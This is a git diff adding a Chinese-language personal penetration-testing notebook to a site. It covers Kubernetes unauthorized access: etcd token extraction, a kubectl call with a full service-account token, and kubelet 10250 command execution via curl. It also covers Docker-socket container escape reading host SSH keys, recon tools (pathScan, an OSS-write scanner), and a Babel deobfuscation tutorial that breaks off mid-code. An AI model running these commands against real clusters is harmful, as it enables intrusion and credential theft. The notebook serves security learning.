etcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | grep token # linux
etcdctl --endpoints "http://192.168.3.105:2379/" get / --prefix --keys-only | findstr token # windows
+

image-20230708010507545

+

获取token值

+

​ image-20230708010605095

+

最后通过kubectl 利用即可

+
kubectl get po -A -s "https://192.168.3.105:6443" --token eyJhbGciOiJSUzI1NiIsImtpZCI6IlVxV2xjZ09VU1dJUEJGSzRPWmp3RFk2Q0lMdHpJWEFpSmpsTHNaRmtvNmMifQ.eyJpc3MiOiJrdWJlcm5ldGVzL3NlcnZpY2VhY2NvdW50Iiwia3ViZXJuZXRlcy5pby9zZXJ2aWNlYWNjb3VudC9uYW1lc3BhY2UiOiJrdWJlLXN5c3RlbSIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VjcmV0Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlci10b2tlbi1jc3p6cCIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50Lm5hbWUiOiJuYW1lc3BhY2UtY29udHJvbGxlciIsImt1YmVybmV0ZXMuaW8vc2VydmljZWFjY291bnQvc2VydmljZS1hY2NvdW50LnVpZCI6IjVlY2Y2N2JkLTJiZGMtNGNkYS1hMTljLTFjNTQ0Mzc1ZWI3YiIsInN1YiI6InN5c3RlbTpzZXJ2aWNlYWNjb3VudDprdWJlLXN5c3RlbTpuYW1lc3BhY2UtY29udHJvbGxlciJ9.NyGdUVNba_XPyRnxRgjFKHpzPhzMOTFtkv1zG1EvN-982pN9P4WYLk-XrmFfEz--kt1LyFXujjQTr9gCL7g-OdW10IXo8_WRFmaM_V7FcOhPWxNNeY9WNMpcGdZ1VmIjOLln1lC8VVXJyt8YFFcTnc9sfZpj_Bc_d1L_RqUdu9IDtEZhN3ZQqdMbix__IdmJTnS9M2d_h6sl2ZlxpqeULJ86PkfvTMkRfuBTIuGNG2adFhe72eQjAK6xCk9liIJnaRDxRVADMKGw2RDykoCo8SvDx8fdi2Vv_EAofihw5zZz4YHro6mkCLclB725kCDonVHOUZncZcK4HtQHhhP5YQ --insecure-skip-tls-verify
+

image-20230708013804383

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Kubelet/index.html b/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Kubelet/index.html new file mode 100644 index 0000000..bf2d48a --- /dev/null +++ b/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/Kubelet/index.html @@ -0,0 +1,36 @@ + + + + + +Kubelet | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-08-19 16:44:07
+

kubelet

+

kubelet 会在集群中每个节点(node)上运行。 它保证容器(containers)都运行在 Pod 中。

+

kubelet 接收一组通过各类机制提供给它的 PodSpecs, 确保这些 PodSpecs 中描述的容器处于运行状态且健康。 kubelet 不会管理不是由 Kubernetes 创建的容器.

+
systemctl status kubelet
+

image-20230713223539104

+

每一个Node节点都有一个kubelet服务,kubelet监听了10250,10248,10255等端口。

+

其中10250端口是kubelet与apiserver进行通信的主要端口,通过该端口kubelet可以知道自己当前应该处理的任务,该端口在最新版Kubernetes是有鉴权的,但在开启了接受匿名请求的情况下,不带鉴权信息的请求也可以使用10250提供的能力;因为Kubernetes流行早期,很多挖矿木马基于该端口进行传播和利用,所以该组件在安全领域部分群体内部的知名度反而会高于 APIServer。

+

如果用户开启了匿名访问kubelet那么,攻击者可任意在pods 执行命令。但仅仅开启 anonymous: true 远远不够,往往还要同时配置apiserver的身份,才能利用。

+

image-20230713223829297

+
[root@k8s-master01 k8s.yaml]# cat rbac.yaml 
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
name: anonymous-access
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: ClusterRole
name: cluster-admin
subjects:
- kind: Group
name: system:unauthenticated
[root@k8s-master01 k8s.yaml]# kubectl apply -f rbac.yaml
+

image-20230713223929599

+

利用​

+

查看可以用pods

+
# 执行命令
curl -k "https://192.168.3.105:10250/run/<namespace>/<pod-name>/<container-name>" -d 'cmd=ls'
+

image-20230713231420098

+

参考​

+
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/index.html b/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/index.html new file mode 100644 index 0000000..a599b84 --- /dev/null +++ b/docs/个人知识库/渗透测试/内网渗透/kubernetes/k8s下的各种未授权/index.html @@ -0,0 +1,30 @@ + + + + + +k8s下的各种未授权 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/内网渗透/kubernetes/容器逃逸的手法/index.html b/docs/个人知识库/渗透测试/内网渗透/kubernetes/容器逃逸的手法/index.html new file mode 100644 index 0000000..f0d7ea8 --- /dev/null +++ b/docs/个人知识库/渗透测试/内网渗透/kubernetes/容器逃逸的手法/index.html @@ -0,0 +1,41 @@ + + + + + +容器逃逸的手法 | wjlin0 + + + + + + + +

容器逃逸的手法

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:32:47
+

容器逃逸

+

Docker容器不同于虚拟机,它与宿主机操作系统共享内核。宿主机和容器之间通过内核命名空间(namespaces)、内核Capabilities、CGroups(control groups)等技术进行隔离;但是许多危险操作或者漏洞导致攻击者可以从容器里边逃逸到宿主机上,常用的逃逸手法包含四类:危险配置、危险挂载、组件漏洞、内核漏洞。

+

危险挂载​

+

01. Docker socket​

+
+

Docker Socket是Docker守护进程监听的Unix域套接字,用来与守护进程通信。如果将Docker Socket(/var/run/docker.sock)挂载到容器内,则在容器内可以控制主机上的Docker创建新的恶意容器,从而实现逃逸

+
+

docker.sock这个文件被挂载到容器1中,可以通过容器1中操作宿主机重新启动一个docker容器2并将 / 文件挂载到l,在容器2 中操作

+
docker run --rm -it -v /run/docker.sock:/run/docker.sock ubuntu:20.04 /bin/bash
+
apt-get update
apt-get install -y curl && bash -c "$(curl -fsSL https://get.docker.com/)" && \
docker -H unix:///docker.sock run --rm -it -v /:/hosts ubuntu cat /hosts/root/.ssh/authorized_keys
+

image-20231016225823326

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/基线检查/index.html b/docs/个人知识库/渗透测试/基线检查/index.html new file mode 100644 index 0000000..198c208 --- /dev/null +++ b/docs/个人知识库/渗透测试/基线检查/index.html @@ -0,0 +1,30 @@ + + + + + +基线检查 | wjlin0 + + + + + + + + + + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/工具使用/PathScan/index.html b/docs/个人知识库/渗透测试/工具使用/PathScan/index.html new file mode 100644 index 0000000..28715bc --- /dev/null +++ b/docs/个人知识库/渗透测试/工具使用/PathScan/index.html @@ -0,0 +1,79 @@ + + + + + +PathScan | wjlin0 + + + + + + + +
作者修订时间
wjlin02024-04-01 15:28:54
+

pathScan

+

pathScan 是一个用Go编写的路径扫描工具,它允许您快速可靠的扫描URL地址和子域名信息收集。

+

地址: https://github.com/wjlin0/pathScan

+

pathScan安装​

+

pathScan在安装前无需任何环境只需要下载已打包好的二进制文件,并根据操作系统选出相应的二进制文件

+

例如,使用 wget、curl安装

+
wget -o pathScan.zip https://github.com/wjlin0/pathScan/releases/download/v2.0.6/pathScan_2.0.6_windows_amd64.zip
curl -L -o pathScan.zip https://github.com/wjlin0/pathScan/releases/download/v2.0.6/pathScan_2.0.6_linux_amd64.zip
+

最后选择解压并移植到环境变量中的目录中

+
unzip pathScan.zip -d pathScan && chmod +x pathScan/pathScan && mv pathScan/pathScan /usr/local/bin/pathScan && rm -rf pathScan
pathScan -v
+

当然如果你找不到你对应系统的二进制文件,那么你可以选择以下方式

+

go -> pathScan需要go1.21才能安装成功

+
go install -v github.com/wjlin0/pathScan@latest
+

使用​

+

下载配置文件​

+

pathScan第一次运行会创建配置文件到 $HOME/.config/pathScan/ 中

+

image-20240331021527107

+

当然初始化时这些文件并不存在配置,其中

+
    +
  • match-config 为指纹识别文件目录,这个文件可从用命令 pathScan -um 下载最新的指纹识别库
  • +
+

image-20240331021947545

+
    +
  • +

    provider-config.yaml 为网络空间测绘搜索引擎的API配置文件,可以设置多个key,运行时随机选择key

    +

    image-20240331022018093

    +
  • +
  • +

    config.yaml 为命令行配置,如果你不想输入过长的命令,则可以将参数配置在该文中,运行时会自动读取该文件内容

    +
  • +
+

image-20240331022052551

+

基本使用​

+
+

探寻一个完整的基本路径,并排除404响应

+
+
pathScan -u https://wjlin0.com -sc 404
+

image-20240331022150281

+

当错误过多时,你可以选择排除一些不必要的 比如排除长度 483的

+
pathScan -u https://wjlin0.com -sc 404 -sbl 483
+

image-20240331022403681

+

网络测绘​

+
    +
  • 从网络空间中,发现目标
  • +
+
# 首先得把key配置到 provider-config.yaml 文件中
pathScan -ue quake -uq 'domain: "baidu.com"' -uc -sc 404
+

image-20230709115619203

+

域名搜索​

+
+

pathScan 其中内置了许多爬虫以及网络空间如下,默认选择所有进行收集,并进行指纹探测这是一体的

+

shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0 shodan-idb anubis-spider sitedossier-spider fofa-spider bing-spider chinaz-spider google-spider ip138-spider qianxun-spider rapiddns-spider baidu-spider yahoo-spider zoomeye-spider

+
+
pathScan -s -sq wjlin0.com 
+
➜  ~ pathScan -s -sq wjlin0.com

__ __ ____
___ ___ _ / /_ / / / __/____ ___ _ ___
/ _ \/ _ // __// _ \ _\ \ / __// _ // _ \
/ .__/\_,_/ \__//_//_//___/ \__/ \_,_//_//_/
/_/

wjlin0.com

慎用。你要为自己的行为负责
开发者不承担任何责任,也不对任何误用或损坏负责.
[INF] Current pathScan version v2.0.5 (latest)
[INF] Current pathScan-match version 1.1.2 (latest)
[INF] PathScan-match templates loaded for current scan: 68
[INF] Subdomain engine: ["shodan", "censys", "fofa", "quake", "hunter", "zoomeye", "netlas", "criminalip", "publicwww", "hunterhow", "binaryedge", "github", "fullhunt", "zone0", "shodan-idb", "anubis-spider", "sitedossier-spider", "fofa-spider", "bing-spider", "chinaz-spider", "google-spider", "ip138-spider", "qianxun-spider", "rapiddns-spider", "baidu-spider", "yahoo-spider", "zoomeye-spider"]
[INF] Subdomain query: ["wjlin0.com"]
[ERR] only ip/cidr are accepted
[INF] Running check alive on input host
[INF] Found 17 URL of alive hosts
[INF] Total number of Requests: 510
http://101.43.95.147:80/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
http://42.101.4.41:80/ [403] [554] [42.101.4.41] [waf-detect:apachegeneric] [403 Forbidden]
https://101.43.95.147:443/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
https://101.43.95.147/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
http://172.67.183.17:8080/ [403] [16] [172.67.183.17] [waf-detect:cloudflare]
http://172.67.183.17:443/ [400] [253] [172.67.183.17] [waf-detect:cloudflare] [400 The plain HTTP request was sent to HTTPS port]
http://172.67.183.17:8443/ [400] [253] [172.67.183.17] [waf-detect:cloudflare] [400 The plain HTTP request was sent to HTTPS port]
http://172.67.183.17:80/ [403] [16] [172.67.183.17] [waf-detect:cloudflare]
http://101.43.95.147:80/ [404] [548] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
http://42.101.4.41:80/ [403] [152] [42.101.4.41] [java-jsp:jsp,waf-detect:apachegeneric] [403 Forbidden]
https://dns.wjlin0.com/ [404] [172.67.183.17] [waf-detect:cloudflare]
https://book.wjlin0.com/ [404] [3082] [172.67.183.17] [waf-detect:cloudflare] [Page Not Found]
https://101.43.95.147/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
https://101.43.95.147:443/ [404] [146] [101.43.95.147] [waf-detect:nginxgeneric] [404 Not Found]
https://cdusec.wjlin0.com/ [404] [3082] [104.21.36.16] [waf-detect:cloudflare] [Page Not Found]
https://blog.wjlin0.com/ [404] [3082] [104.21.36.16] [waf-detect:cloudflare] [Page Not Found]
https://wjlin0.com/ [200] [2288] [101.43.95.147]
........
........
........
+

配合其他工具​

+
+

pathScan 支持标准输入输出,所以你可以轻松从其他的工具的输出结果获取到,再从标准输出传递给其他工具。

+
+
cat url.txt | pathScan -ps / -silent | nuclei
+

image-20240331022535664

+

更多用法​

+
➜  ~ pathScan -h
pathScan 2.0.5 Go 扫描、信息收集工具

Usage:
pathScan [flags]

Flags:
输入:
-u, -url string[] 目标(以逗号分割)
-list string[] 从文件中,读取目标

扫描字典:
-ps, -path string[] 路径(以逗号分割)
-pl, -path-list string[] 从文件中,读取路径
-ldd, -load-default-dict 目标超过一个时,是否加载默认字典
-lad, -load-api-dict 是否加载api字典

子域名收集模式:
-s, -sub 子域名收集
-sq, -sub-query string[] 需要收集的域名 (支持从文件中录入 -sq /tmp/sub-query.txt)
-sl, -sub-limit int 每个搜索引擎返回的至少不超过数 (default 1000)
-so, -sub-output string 子域名搜索结果保存 支持csv格式输出
-se, -sub-engine string[] 子域名搜索引擎 [shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0 shodan-idb anubis-spider sitedossier-spider fofa-spider bing-spider chinaz-spider google-spider ip138-spider qianxun-spider rapiddns-spider baidu-spider yahoo-spider zoomeye-spider] (default all)

引擎搜索模式:
-uc, -uncover 启用打开搜索引擎
-uq, -uncover-query string[] 搜索查询
-ue, -uncover-engine string[] 支持的引擎 [shodan censys fofa quake hunter zoomeye netlas criminalip publicwww hunterhow binaryedge github fullhunt zone0] (default fofa)
-uf, -uncover-field string 引擎返回字段 (ip,port,host) (default "host")
-ul, -uncover-limit int 发现要返回的结果 (default 100)
-uo, -uncover-output string 搜索引擎查询结果保存 支持csv格式输出

跳过:
-su, -skip-url string[] 跳过的目标(以逗号分割,支持从文件读取 -su /tmp/skip-url.txt)
-sc, -skip-code string[] 跳过状态码(以逗号分割,支持从文件读取 -sc /tmp/skip-code.txt, 支持 5xx、300-399 )
-sh, -skip-hash string 跳过指定hash
-sbl, -skip-body-len string[] 跳过body固定长度(支持 100-200,即长度为100~200之间的均跳过,支持 从文件中读取 -sbl /tmp/skip-body-len.txt)
-sbr, -skip-body-regex string[] 跳过body正则匹配(以逗号分割,支持从文件读取 -sbr /tmp/skip-regex.txt)

输出:
-o, -output string 输出文件路径(可忽略)
-csv csv格式输出
-html html格式输出
-silent 简略输出
-nc, -no-color 无颜色输出
-vb, -verbose 详细输出模式
-debug 调试输出

工具:
-gh, -get-hash 计算hash
-shm, -skip-hash-method string 指定hash的方法(sha256,md5,sha1) (default "sha256")

模版规则:
-validate 验证指纹文件
-mf, -match-file string 指纹文件目录或文件
-dsm, -disable-scan-match 禁用指纹识别

配置:
-no-stdin disable stdin processing
-rs, -retries int 重试
-p, -proxy string[] 代理
-resolvers string[] 自定义DNS列表( 文件或逗号隔开 )
-nn, -not-new 允许重定向
-dac, -disable-alive-check 跳过活跃检查
-sdl, -scan-domain-list string[] 从响应中中发现其他域名(逗号隔开,支持文件读取 -sdl /tmp/otherDomain.txt)
-sd, -scan-domain 从响应中发现其他域名
-v, -version 输出版本

请求头参数:
-m, -method string[] 请求方法 [GET HEAD POST PUT PATCH DELETE CONNECT OPTIONS TRACE] (default ["GET"])
-ua, -user-agent string[] User-Agent (支持从文件中录入 -ua /tmp/user-agent.txt)
-c, -cookie string cookie
-auth, -authorization string Auth请求头
-header string[] 自定义请求头,以逗号隔开 (支持从文件中录入 -header /tmp/header.txt)
-b, -body string 自定义请求体

速率:
-t, -thread int 线程 (default 50)
-rl, -rate-limit int 每秒允许的HTTP连接数 (default 150)
-http-timeout int HTTP请求超时时间 (default 15)

更新:
-update 更新版本
-um, -update-match 更新指纹识别库
-duc, -disable-update-check 跳过自动检查更新


EXAMPLES:

运行 pathScan 扫描路径, 指定单个目标 跳过 4xx 5xx 输出:
$ pathScan -u https://example.com/ -sc 4xx,5xx

运行 pathScan 搜索引擎:
$ pathScan -ue fofa -uq 'app="tomcat"'

运行 pathScan 收集子域名 指定输出:
$ pathScan -sq example.com -csv -o out.csv

运行 pathScan 收集子域名 并配合 nuclei 进行自动化漏洞扫描:
$ pathScan -sq example.com -silent | nuclei

其他文档可在以下网址获得: https://github.com/wjlin0/pathScan/
+

总结​

+

pathScan是一款高效的,采用go语言开发,快速的发现目标信息,并收集信息,这对我们渗透测试有则很大的帮助.同时pathScan也有许多功能尚未完善,欢迎大家提交pull requests

+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/工具使用/oss-put/index.html b/docs/个人知识库/渗透测试/工具使用/oss-put/index.html new file mode 100644 index 0000000..a5176f3 --- /dev/null +++ b/docs/个人知识库/渗透测试/工具使用/oss-put/index.html @@ -0,0 +1,22 @@ + + + + + +oss-put | wjlin0 + + + + + + + +
作者修订时间
wjlin02025-08-19 16:43:09
+

oss-put

+

最新在挖src的时候很容易碰到存储桶的put写入,nuclei 也有相关的poc,但是我觉得这样效率太慢了,于是写了一个简单的 工具,更快更高效的发现存储桶任意文件漏洞。

+

类似于下面这种

+

image-20240121220930915

+

可以结合我之前写的工具,进行一个批量的验证

+
# pathScan 收集 example.com 相关子域名 至 url.txt
pathScan -s -sq 'example.com' -o url.txt
# oss-put 发现存在oss任意文件写入的目标
./oss-put.py -list url.txt -o output.txt
+ + \ No newline at end of file diff --git a/docs/个人知识库/渗透测试/渗透手法/JS还原/index.html b/docs/个人知识库/渗透测试/渗透手法/JS还原/index.html new file mode 100644 index 0000000..181aadf --- /dev/null +++ b/docs/个人知识库/渗透测试/渗透手法/JS还原/index.html @@ -0,0 +1,344 @@ + + + + + +JS还原 | wjlin0 + + + + + + + +

JS还原

+ + + + + + + + + + + + + +
作者修订时间
wjlin02025-10-15 00:35:28
+

逆向进阶,利用 AST 技术还原 JavaScript 混淆代码

+

img

+

什么是 AST​

+

AST(Abstract Syntax Tree),中文抽象语法树,简称语法树(Syntax Tree),是源代码的抽象语法结构的树状表现形式,树上的每个节点都表示源代码中的一种结构。语法树不是某一种编程语言独有的,JavaScript、Python、Java、Golang 等几乎所有编程语言都有语法树。

+

小时候我们得到一个玩具,总喜欢把玩具拆解成一个一个小零件,然后按照我们自己的想法,把零件重新组装起来,一个新玩具就诞生了。而 JavaScript 就像一台精妙运作的机器,通过 AST 解析,我们也可以像童年时拆解玩具一样,深入了解 JavaScript 这台机器的各个零部件,然后重新按照我们自己的意愿来组装。

+

AST 的用途很广,IDE 的语法高亮、代码检查、格式化、压缩、转译等,都需要先将代码转化成 AST 再进行后续的操作,ES5 和 ES6 语法差异,为了向后兼容,在实际应用中需要进行语法的转换,也会用到 AST。AST 并不是为了逆向而生,但做逆向学会了 AST,在解混淆时可以如鱼得水。

+

AST 有一个在线解析网站:https://astexplorer.net/ ,顶部可以选择语言、编译器、是否开启转化等,如下图所示,区域①是源代码,区域②是对应的 AST 语法树,区域③是转换代码,可以对语法树进行各种操作,区域④是转换后生成的新代码。图中原来的 Unicode 字符经过操作之后就变成了正常字符。

+

语法树没有单一的格式,选择不同的语言、不同的编译器,得到的结果也是不一样的,在 JavaScript 中,编译器有 Acorn、Espree、Esprima、Recast、Uglify-JS 等,使用最多的是 Babel,后续的学习也是以 Babel 为例。

+

01

+

AST 在编译中的位置​

+

在编译原理中,编译器转换代码通常要经过三个步骤:词法分析(Lexical Analysis)、语法分析(Syntax Analysis)、代码生成(Code Generation),下图生动展示了这一过程:

+

02

+

词法分析​

+

词法分析阶段是编译过程的第一个阶段,这个阶段的任务是从左到右一个字符一个字符地读入源程序,然后根据构词规则识别单词,生成 token 符号流,比如 isPanda('🐼'),会被拆分成 isPanda,(,'🐼',) 四部分,每部分都有不同的含义,可以将词法分析过程想象为不同类型标记的列表或数组。

+

03

+

语法分析​

+

语法分析是编译过程的一个逻辑阶段,语法分析的任务是在词法分析的基础上将单词序列组合成各类语法短语,比如“程序”,“语句”,“表达式”等,前面的例子中,isPanda('🐼') 就会被分析为一条表达语句 ExpressionStatement,isPanda() 就会被分析成一个函数表达式 CallExpression,🐼 就会被分析成一个变量 Literal 等,众多语法之间的依赖、嵌套关系,就构成了一个树状结构,即 AST 语法树。

+

04

+

代码生成​

+

代码生成是最后一步,将 AST 语法树转换成可执行代码即可,在转换之前,我们可以直接操作语法树,进行增删改查等操作,例如,我们可以确定变量的声明位置、更改变量的值、删除某些节点等,我们将语句 isPanda('🐼') 修改为一个布尔类型的 Literal:true,语法树就有如下变化:

+

05

+

Babel 简介​

+

Babel 是一个 JavaScript 编译器,也可以说是一个解析库,Babel 中文网:https://www.babeljs.cn/ ,Babel 英文官网:https://babeljs.io/ ,Babel 内置了很多分析 JavaScript 代码的方法,我们可以利用 Babel 将 JavaScript 代码转换成 AST 语法树,然后增删改查等操作之后,再转换成 JavaScript 代码。

+

Babel 包含的各种功能包、API、各方法可选参数等,都非常多,本文不一一列举,在实际使用过程中,应当多查询官方文档,或者参考文末给出的一些学习资料。Babel 的安装和其他 Node 包一样,需要哪个安装哪个即可,比如 npm install @babel/core @babel/parser @babel/traverse @babel/generator

+

在做逆向解混淆中,主要用到了 Babel 的以下几个功能包,本文也仅介绍以下几个功能包:

+
    +
  1. @babel/core:Babel 编译器本身,提供了 babel 的编译 API;
  2. +
  3. @babel/parser:将 JavaScript 代码解析成 AST 语法树;
  4. +
  5. @babel/traverse:遍历、修改 AST 语法树的各个节点;
  6. +
  7. @babel/generator:将 AST 还原成 JavaScript 代码;
  8. +
  9. @babel/types:判断、验证节点的类型、构建新 AST 节点等。
  10. +
+

06

+

@babel/core​

+

Babel 编译器本身,被拆分成了三个模块:@babel/parser、@babel/traverse、@babel/generator,比如以下方法的导入效果都是一样的:

+
const parse = require("@babel/parser").parse;

const parse = require("@babel/core").parse;


const traverse = require("@babel/traverse").default

const traverse = require("@babel/core").traverse
+

@babel/parser​

+

@babel/parser 可以将 JavaScript 代码解析成 AST 语法树,其中主要提供了两个方法:

+
    +
  • parser.parse(code, [{options}]):解析一段 JavaScript 代码;
  • +
  • parser.parseExpression(code, [{options}]):考虑到了性能问题,解析单个 JavaScript 表达式。
  • +
+

部分可选参数 options:

+ + + + + + + + + + + + + + + + + + + + + + + + + +
参数描述
allowImportExportEverywhere默认 import 和 export 声明语句只能出现在程序的最顶层,设置为 true 则在任何地方都可以声明
allowReturnOutsideFunction默认如果在顶层中使用 return 语句会引起错误,设置为 true 就不会报错
sourceType默认为 script,当代码中含有 import 、export 等关键字时会报错,需要指定为 module
errorRecovery默认如果 babel 发现一些不正常的代码就会抛出错误,设置为 true 则会在保存解析错误的同时继续解析代码,错误的记录将被保存在最终生成的 AST 的 errors 属性中,当然如果遇到严重的错误,依然会终止解析
+

举个例子看得比较清楚:

+
const parser = require("@babel/parser");



const code = "const a = 1;";

const ast = parser.parse(code, {sourceType: "module"})

console.log(ast)
+

{sourceType: "module"} 演示了如何添加可选参数,输出的就是 AST 语法树,这和在线网站 https://astexplorer.net/ 解析出来的语法树是一样的:

+

07

+

@babel/generator​

+

@babel/generator 可以将 AST 还原成 JavaScript 代码,提供了一个 generate 方法:generate(ast, [{options}], code)。

+

部分可选参数 options:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
参数描述
auxiliaryCommentBefore在输出文件内容的头部添加注释块文字
auxiliaryCommentAfter在输出文件内容的末尾添加注释块文字
comments输出内容是否包含注释
compact输出内容是否不添加空格,避免格式化
concise输出内容是否减少空格使其更紧凑一些
minified是否压缩输出代码
retainLines尝试在输出代码中使用与源代码中相同的行号
+

接着前面的例子,原代码是 const a = 1;,现在我们把 a 变量修改为 b,值 1 修改为 2,然后将 AST 还原生成新的 JS 代码:

+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default



const code = "const a = 1;";

const ast = parser.parse(code, {sourceType: "module"})

ast.program.body[0].declarations[0].id.name = "b"

ast.program.body[0].declarations[0].init.value = 2

const result = generate(ast, {minified: true})



console.log(result.code)
+

最终输出的是 const b=2;,变量名和值都成功更改了,由于加了压缩处理,等号左右两边的空格也没了。

+

代码里 {minified: true} 演示了如何添加可选参数,这里表示压缩输出代码,generate 得到的 result 得到的是一个对象,其中的 code 属性才是最终的 JS 代码。

+

代码里 ast.program.body[0].declarations[0].id.name 是 a 在 AST 中的位置,ast.program.body[0].declarations[0].init.value 是 1 在 AST 中的位置,如下图所示:

+

08

+

@babel/traverse​

+

当代码多了,我们不可能像前面那样挨个定位并修改,对于相同类型的节点,我们可以直接遍历所有节点来进行修改,这里就用到了 @babel/traverse,它通常和 visitor 一起使用,visitor 是一个对象,这个名字是可以随意取的,visitor 里可以定义一些方法来过滤节点,这里还是用一个例子来演示:

+
const parser = require("@babel/parser");

const generate = require("@babel/generator").default

const traverse = require("@babel/traverse").default



const code = `

const a = 1500;

const b = 60;

const c = "hi";

const d = 787;

const e = "1244";

`

const ast = parser.parse(code)



const visitor = {

NumericLiteral(path){

path.node.value = (path.node.value + 100) * 2

},

StringLiteral(path){

path.node.value = "I Love JavaScript!"

}

}



traverse(ast, visitor)

const result = generate(ast)

console.log(result.code)
+

这里的原始代码定义了 abcde 五个变量,其值有数字也有字符串,我们在 AST 中可以看到对应的类型为 NumericLiteral 和 StringLiteral:

+

09

+

然后我们声明了一个 visitor 对象,然后定义对应类型的处理方法,traverse 接收两个参数,第一个是 AST 对象,第二个是 visitor,当 traverse 遍历所有节点,遇到节点类型为 NumericLiteral 和 StringLiteral 时,就会调用 visitor 中对应的处理方法,visitor 中的方法会接收一个当前节点的 path 对象,该对象的类型是 NodePath,该对象有非常多的属性,以下介绍几种最常用的:

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
属性描述
toString()当前路径的源码
node当前路径的节点
parent当前路径的父级节点
parentPath当前路径的父级路径
type当前路径的类型
+

PS:path 对象除了有很多属性以外,还有很多方法,比如替换节点、删除节点、插入节点、寻找父级节点、获取同级节点、添加注释、判断节点类型等,可在需要时查询相关文档或查看源码,后续介绍 @babel/types 部分将会举部分例子来演示,以后的实战文章中也会有相关实例,篇幅有限本文不再细说。

+

因此在上面的代码中,path.node.value 就拿到了变量的值,然后我们就可以进一步对其进行修改了。以上代码运行后,所有数字都会加上100后再乘以2,所有字符串都会被替换成 I Love JavaScript!,结果如下:

+
const a = 3200;

const b = 320;

const c = "I Love JavaScript!";

const d = 1774;

const e = "I Love JavaScript!";
+

如果多个类型的节点,处理的方式都一样,那么还可以使用 | 将所有节点连接成字符串,将同一个方法应用到所有节点:

+
const visitor = {

"NumericLiteral|StringLiteral"(path) {

path.node.value = "I Love JavaScript!"

}

}
+

visitor 对象有多种写法,以下几种写法的效果都是一样的:

+
const visitor = {

NumericLiteral(path){

path.node.value = (path.node.value + 100) * 2

},

StringLiteral(path){

path.node.value = "I Love JavaScript!"

}

}
const visitor = {

NumericLiteral: function (path){

path.node.value = (path.node.value + 100) * 2

},

StringLiteral: function (path){

path.node.value = "I Love JavaScript!"

}

}
const visitor = {

NumericLiteral: {

enter(path) {

path.node.value = (path.node.value + 100) * 2

}

},

StringLiteral: {

enter(path) {

path.node.value = "I Love JavaScript!"

}

}

}
const visitor = {

enter(path) {

if (path.node.type === "NumericLiteral") {

path.node.value = (path.node.value + 100) * 2

}

if (path.node.type === "StringLiteral") {

path.node.value = "I Love JavaScript!"

}

}

}
+

以上几种写法中有用到了 enter 方法,在节点的遍历过程中,进入节点(enter)与退出(exit)节点都会访问一次节点,traverse 默认在进入节点时进行节点的处理,如果要在退出节点时处理,那么在 visitor 中就必须声明 exit 方法。

+

@babel/types​

+

@babel/types 主要用于构建新的 AST 节点,前面的示例代码为 const a = 1;,如果想要增加内容,比如变成 const a = 1; const b = a * 5 + 1;,就可以通过 @babel/types 来实现。

+

首先观察一下 AST 语法树,原语句只有一个 VariableDeclaration 节点,现在增加了一个:

+

10

+

那么我们的思路就是在遍历节点时,遍历到 VariableDeclaration 节点,就在其后面增加一个 VariableDeclaration 节点,生成 VariableDeclaration 节点,可以使用 types.variableDeclaration() 方法,在 types 中各种方法名称和我们在 AST 中看到的是一样的,只不过首字母是小写的,所以我们不需要知道所有方法的情况下,也能大致推断其方法名,只知道这个方法还不行,还得知道传入的参数是什么,可以查文档,不过K哥这里推荐直接看源码,非常清晰明了,以 Pycharm 为例,按住 Ctrl 键,再点击方法名,就进到源码里了:

+

11

+
function variableDeclaration(kind: "var" | "let" | "const", declarations: Array<BabelNodeVariableDeclarator>)
+

可以看到需要 kind 和 declarations 两个参数,其中 declarations 是 VariableDeclarator 类型的节点组成的列表,所以我们可以先写出以下 visitor 部分的代码,其中 path.insertAfter() 是在该节点之后插入新节点的意思:

+
const visitor = {

VariableDeclaration(path) {

let declaration = types.variableDeclaration("const", [declarator])

path.insertAfter(declaration)

}

}
+

接下来我们还需要进一步定义 declarator,也就是 VariableDeclarator 类型的节点,查询其源码如下:

+
function variableDeclarator(id: BabelNodeLVal, init?: BabelNodeExpression)
+

观察 AST,id 为 Identifier 对象,init 为 BinaryExpression 对象,如下图所示:

+

12

+

先来处理 id,可以使用 types.identifier() 方法来生成,其源码为 function identifier(name: string),name 在这里就是 b 了,此时 visitor 代码就可以这么写:

+
const visitor = {

VariableDeclaration(path) {

let declarator = types.variableDeclarator(types.identifier("b"), init)

let declaration = types.variableDeclaration("const", [declarator])

path.insertAfter(declaration)

}

}
+

然后再来看 init 该如何定义,首先仍然是看 AST 结构:

+

13

+

init 为 BinaryExpression 对象,left 左边是 BinaryExpression,right 右边是 NumericLiteral,可以用 types.binaryExpression() 方法来生成 init,其源码如下:

+
function binaryExpression(

